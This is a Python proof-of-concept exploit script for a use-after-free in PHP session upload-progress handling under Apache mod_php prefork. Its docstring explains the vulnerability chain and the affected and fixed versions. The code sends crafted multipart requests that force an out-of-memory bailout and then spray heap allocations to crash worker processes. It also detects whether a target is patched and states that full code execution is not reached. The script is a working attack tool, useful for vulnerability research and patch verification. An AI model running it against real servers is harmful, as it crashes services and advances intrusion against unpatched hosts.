#!/usr/bin/env python3 -I """ CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout Apache mod_php (prefork MPM), no LFI, no framework dependencies Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26, 8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack chain with three independent defense layers: 1. php_basic_early_rinit() resets BG(serialize/unserialize) each request 2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM) 3. Session handler hardening (incomplete_classes_only mode during RFC1867) Vulnerability chain: CVE-2026-109618: OOM in the multipart parser triggers zend_bailout() (longjmp), which skips php_var_unserialize_destroy(). This leaves BG(unserialize).level=1 and BG(unserialize).data pointing at a freed php_unserialize_data struct (8216 bytes, 3 ZendMM pages). CVE-2026-109619: The session upload progress globals populated by the RFC1867 callback survive into the next request. On the next request, sapi_activate() runs the RFC1867 callback BEFORE PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls php_session_decode() -> php_var_unserialize_init(), which sees BG(unserialize).level > 0 and returns the stale .data pointer. Classic use-after-free. Attack phases: Phase 1 (Plant): Write a large session file (~682KB, 33000 entries) that will trigger HashTable resize needing ~2.25MB when decoded. Phase 2 (OOM): Multipart upload referencing that session ID. RFC1867 progress callback reads and decodes the session file. HashTable resize exceeds memory_limit, OOM fires zend_bailout(). Worker survives. BG(unserialize).level=1, .data=freed heap pointer. Phase 3 (Crash): Another upload (no intermediate GET requests, which would zero BG state via RINIT). Filler form fields create many 3-page zend_string allocations that consume ZendMM pages up to the stale struct's position (~page 288). The struct's 'last' pointer (offset 0) is overwritten by the zend_string GC header (refcount + type_info), which is not a valid heap address. var_push reads 'last' and dereferences it -> SIGSEGV. Confirms the UAF. Requirements: - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - session.upload_progress.enabled=1 (default in php.ini) - memory_limit low enough for session data to trigger OOM - Any reachable PHP URL on the target (even a 404 page works) - A method to write a session file with many entries (Phase 1) - No LFI, no framework, no non-default config changes needed Exploitation notes: This PoC demonstrates the UAF primitive (stale pointer dereference) and crash (SIGSEGV from corrupted 'last' pointer). Full RCE from this primitive is blocked by an overlap between the struct's critical pointer fields (offsets 0-23: last, first_dtor, last_dtor) and the zend_string GC header (refcount, type_info, hash, len). These fields cannot be directly controlled by the attacker. Specifically: - 'last' = gc_refcount(4) + gc_type_info(4) -> invalid pointer - 'first_dtor' = hash(8) = 0 initially -> NULL (safe for var_destroy) - 'last_dtor' = len(8) = string length -> low address (crash) Controlled bytes start at offset 24 (allowed_classes, ref_props, max_depth, entries.used_slots, entries.next, entries.data[]), but var_push crashes before these fields are reached because it reads 'last' first. Full RCE would require either: a) An info leak to construct a valid 'last' pointer in the GC header position (which would require a separate vulnerability) b) A different allocation type that gives control over offset 0 of a 3-page (8216-byte) ZendMM allocation Usage: python3 exploit.py --target http://host:port/index.php python3 exploit.py --target http://host:port/index.php --oom-only """ import argparse import os import re import socket import sys import time from urllib.parse import urlparse # ── Constants ──────────────────────────────────────────────────────── UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL) SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288 # ── Networking ─────────────────────────────────────────────────────── def connect(host, port, timeout=30): return socket.create_connection((host, port), timeout=timeout) def recv_response(sock, timeout=10): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def parse_response(resp): status = 0 body = b"" if resp: try: status = int(resp.split(b" ")[1]) except (IndexError, ValueError): pass if b"\r\n\r\n" in resp: body = resp.split(b"\r\n\r\n", 1)[1] return status, body def http_get(host, port, path, cookies=None, timeout=10): sock = connect(host, port, timeout=timeout) req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n" if cookies: req += f"Cookie: {cookies}\r\n" req += "Connection: close\r\n\r\n" sock.sendall(req.encode()) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60): sock = connect(host, port, timeout=timeout) sock.sendall(headers_bytes + body_bytes) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) def extract_pid(body): m = re.search(rb"pid=(\d+)", body) return int(m.group(1)) if m else 0 # ── Multipart builders ────────────────────────────────────────────── def multipart_field(boundary, name, value): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' + value + b"\r\n" ) def multipart_file(boundary, name, filename, content): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"; filename="' + filename + b'"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n" ) def multipart_end(boundary): return b"--" + boundary + b"--\r\n" def post_multipart(host, port, path, boundary, body, sid=None, timeout=60): hdrs = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" f"Content-Length: {len(body)}\r\n" ) if sid: hdrs += f"Cookie: PHPSESSID={sid}\r\n" hdrs += "Connection: close\r\n\r\n" return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout) # ── Session file generation ───────────────────────────────────────── def generate_session_data(n_entries): """PHP session data that forces a large HashTable allocation on decode. 33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes. """ parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)] inner = "".join(parts) return f'd|a:{n_entries}:{{{inner}}}'.encode() # ── Session file management ───────────────────────────────────────── def write_session_file(sid, data, save_path): import subprocess fpath = os.path.join(save_path, f"sess_{sid}") tmp = f"/tmp/sess_plant_{os.getpid()}" with open(tmp, "wb") as f: f.write(data) subprocess.run(["sudo", "cp", tmp, fpath], capture_output=True, check=True) subprocess.run(["sudo", "chown", "www-data:www-data", fpath], capture_output=True, check=True) subprocess.run(["sudo", "chmod", "600", fpath], capture_output=True, check=True) os.unlink(tmp) return fpath def read_session_file(sid, save_path): import subprocess fpath = os.path.join(save_path, f"sess_{sid}") r = subprocess.run(["sudo", "stat", "--format=%s", fpath], capture_output=True, text=True) if r.returncode != 0: return False, 0 return True, int(r.stdout.strip()) def ensure_session_file(sid, save_path, n_entries): exists, size = read_session_file(sid, save_path) if exists and size > 100000: return size data = generate_session_data(n_entries) write_session_file(sid, data, save_path) return len(data) # ── Phase 0: Worker discovery ─────────────────────────────────────── def discover_workers(host, port, path, rounds=20): pids = set() for _ in range(rounds): try: _, body = http_get(host, port, path, timeout=5) pid = extract_pid(body) if pid: pids.add(pid) except (ConnectionError, socket.timeout, OSError): pass return sorted(pids) # ── Phase builders ────────────────────────────────────────────────── def build_oom_trigger(sid): boundary = b"OOM" + os.urandom(4).hex().encode() parts = [ multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"), multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048), multipart_end(boundary), ] return boundary, b"".join(parts) def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE): """Multipart with filler fields to reclaim stale struct pages. Each field value is a 3-page zend_string. The GC header at offset 0-7 overwrites 'last' with refcount|type_info = invalid pointer. When var_push reads 'last', it dereferences the invalid address. """ boundary = b"CRASH" + os.urandom(4).hex().encode() parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")] filler = b"\x41" * field_size for i in range(n_fields): parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler)) parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512)) parts.append(multipart_end(boundary)) return boundary, b"".join(parts) def is_oom_response(status, body): return ( b"memory size" in body or b"Allowed memory" in body or status == 500 or status == 0 ) # ── Main ──────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)", ) parser.add_argument("--target", "-t", required=True, help="Target URL, e.g. http://host:port/index.php") parser.add_argument("--session-path", default="/var/www/uaf-test/sessions", help="Session save_path on the target") parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES, help="Entries in OOM session file (default: 33000)") parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT, help="Filler fields for crash trigger (default: 100)") parser.add_argument("--oom-only", action="store_true", help="Stop after Phase 2 (OOM + stale state)") args = parser.parse_args() url = urlparse(args.target) host = url.hostname or "127.0.0.1" port = url.port or 80 path = url.path or "/index.php" print("=" * 64) print(" CVE-2026-109618 / CVE-2026-109619") print(" Use-After-Free via OOM Bailout") print(" (Apache mod_php, prefork MPM)") print("=" * 64) print(f" Target: {host}:{port}{path}") print() # ── Phase 0: Worker discovery ────────────────────────────────── print("[*] Phase 0: Discovering workers...") pids = discover_workers(host, port, path) if not pids: print("[-] No workers found. Target must echo getmypid().") sys.exit(1) print(f" Workers: {pids}") target_pid = pids[0] # ── Phase 1: Plant large session file ────────────────────────── print() print("[*] Phase 1: Planting large session file...") sid = "uaf" + os.urandom(6).hex() print(f" SID: {sid}") print(f" Entries: {args.entries}") sess_size = ensure_session_file(sid, args.session_path, args.entries) print(f" Session file: {sess_size}B ({sess_size // 1024}KB)") print(f" HashTable resize on decode needs ~2.25MB") # ── Phase 2: OOM trigger ─────────────────────────────────────── print() print("[*] Phase 2: Triggering OOM during session decode...") print(" RFC1867 callback reads session -> decode -> OOM -> bailout") oom_success = False patched = False for attempt in range(len(pids) * 8): ensure_session_file(sid, args.session_path, args.entries) boundary, body = build_oom_trigger(sid) try: status, rbody = post_multipart( host, port, path, boundary, body, sid=sid, timeout=30) except (ConnectionError, socket.timeout, OSError): status, rbody = 0, b"" if is_oom_response(status, rbody): if b"memory size" in rbody: tag = f"{status} (OOM in body)" elif status == 500: tag = "500" else: tag = "connection dropped" print(f" [{attempt+1}] OOM triggered ({tag})") # Detect patched vs unpatched via session file state. # UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED. # PATCHED: delayed OOM, decode completes, session rewritten smaller. time.sleep(0.3) exists, sz = read_session_file(sid, args.session_path) if not exists or sz == 0: print(f" Session file deleted/empty (bailout path = UNPATCHED)") elif sz < sess_size // 2: print(f" [!] Session file rewritten ({sz}B) (PATCHED)") patched = True oom_success = True break else: print(f" [{attempt+1}] status={status} (no OOM, retrying)") if not oom_success: print() print("[-] OOM trigger failed.") print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)") sys.exit(1) if patched: print() print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:") print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate") print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp") print(" 3. Session handler: incomplete_classes_only during RFC1867") return # Check worker survived (must do this BEFORE Phase 3, but note # this GET request will zero BG state on the worker it hits). # With MaxRequestWorkers=1, this targets the same worker. # We will re-trigger OOM before the crash attempt. time.sleep(0.5) pids_after = discover_workers(host, port, path, rounds=5) survived = set(pids) & set(pids_after) if not survived: print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)") sys.exit(1) target_pid = sorted(survived)[0] print(f" [+] Worker {target_pid} survived OOM") if args.oom_only: print() print("[+] Phase 2 complete.") print(" BG(unserialize).level=1, .data=freed heap pointer.") print(" (BG state zeroed by the verification GET above.)") return # ── Phase 3: UAF crash verification ─────────────────────────── # # CRITICAL: no GET requests between the OOM trigger and the crash # trigger. PHP_RINIT_FUNCTION(basic) runs on every request and # zeros BG(unserialize), destroying the stale state. # # With prefork MaxRequestWorkers=1, all requests go to the same # worker. We re-trigger OOM (to set stale state), then immediately # send the crash trigger without any intermediate requests. # # Crash mechanism: filler form fields create 3-page zend_string # allocations that consume pages up to the stale struct's position # (~page 288 out of 512 in the ZendMM chunk). When a filler # zend_string lands on the stale pages, offset 0 (the 'last' # pointer) is overwritten with the zend_string GC header: # gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001 # This is not a valid heap address. When the session decode calls # var_push(), it reads 'last' and dereferences it -> SIGSEGV. print() print("[*] Phase 3: UAF crash verification...") print(" Re-triggering OOM, then crash (no intermediate GET).") crashed = False for attempt in range(3): # Re-trigger OOM to set stale BG state ensure_session_file(sid, args.session_path, args.entries) boundary, body = build_oom_trigger(sid) try: status, rbody = post_multipart( host, port, path, boundary, body, sid=sid, timeout=30) except (ConnectionError, socket.timeout, OSError): status, rbody = 0, b"" if not is_oom_response(status, rbody): print(f" [{attempt+1}] OOM re-trigger failed, retrying") continue time.sleep(0.3) # Plant a small session (one entry). The decode calls var_push # once, which reads the stale 'last' pointer and crashes. small_session = b'x|s:3:"abc";' write_session_file(sid, small_session, args.session_path) # Send crash trigger DIRECTLY (no intermediate GET). # Filler fields consume pages up to the stale struct. boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields) try: status, rbody = post_multipart( host, port, path, boundary, body, sid=sid, timeout=30) except (ConnectionError, socket.timeout, OSError): status, rbody = 0, b"" # Check if worker crashed (new PID or connection failure) time.sleep(0.5) try: _, rbody2 = http_get(host, port, path, timeout=5) pid_after = extract_pid(rbody2) except (ConnectionError, socket.timeout, OSError): pid_after = 0 if pid_after and pid_after != target_pid: print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}") print(f" Filler zend_strings reclaimed stale struct pages") print(f" var_push read GC header as 'last' pointer -> SIGSEGV") crashed = True target_pid = pid_after break elif pid_after == target_pid: print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)") elif status == 0 and pid_after == 0: print(f" [{attempt+1}] Server unresponsive") else: print(f" [{attempt+1}] Response: {status}") print() if crashed: print("[+] USE-AFTER-FREE CONFIRMED") print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)") print(" was reclaimed by a filler zend_string. The GC header at offset 0") print(" overwrote the 'last' pointer with refcount|type_info.") print(" var_push dereferenced the invalid address -> SIGSEGV.") else: print("[*] No crash triggered (filler fields may have missed the pages).") print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).") print(" Try adjusting --spray-fields or re-running (heap layout varies).") print() print_summary(crash=crashed) def print_summary(patched=False, crash=False): print("=" * 64) print(" Summary") print("=" * 64) print() if patched: print(" TARGET: PATCHED (not vulnerable)") print() print(" Three independent mitigations block the attack:") print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()") print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)") print(" 3. Session handler: incomplete_classes_only during RFC1867 decode") return print(" TARGET: UNPATCHED (vulnerable)") print() print(" Confirmed primitives:") print(" [+] OOM during RFC1867 session decode") print(" zend_bailout() longjmps past php_var_unserialize_destroy()") print(" BG(unserialize).level=1, .data=freed heap pointer") print(" Apache prefork worker survives, serves new requests") if crash: print(" [+] Use-After-Free crash on next request") print(" Filler zend_strings reclaim stale struct pages") print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV") print() print(" Exploitation status:") print(" The UAF primitive (stale pointer reuse) is confirmed.") if crash: print(" Page reclamation via filler fields is confirmed.") print(" However, full RCE is blocked by an inherent constraint:") print(" the struct's critical pointer fields (offsets 0-23: last,") print(" first_dtor, last_dtor) overlap with the zend_string GC header") print(" (refcount, type_info, hash, len), which cannot be controlled") print(" by the attacker.") print() print(" 'last' = gc_refcount + gc_type_info -> invalid pointer (crash)") print(" 'first_dtor' = hash = 0 initially (safe, dtor chain empty)") print(" 'last_dtor' = len = string length (low address, crash)") print() print(" Full RCE would require an info leak for valid pointer placement") print(" at offset 0, or a different allocation type that gives control") print(" over the first 24 bytes of an 8216-byte ZendMM allocation.") print() print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11") print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12") print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1") print(" No LFI, no framework, no application-level access needed.") if __name__ == "__main__": main()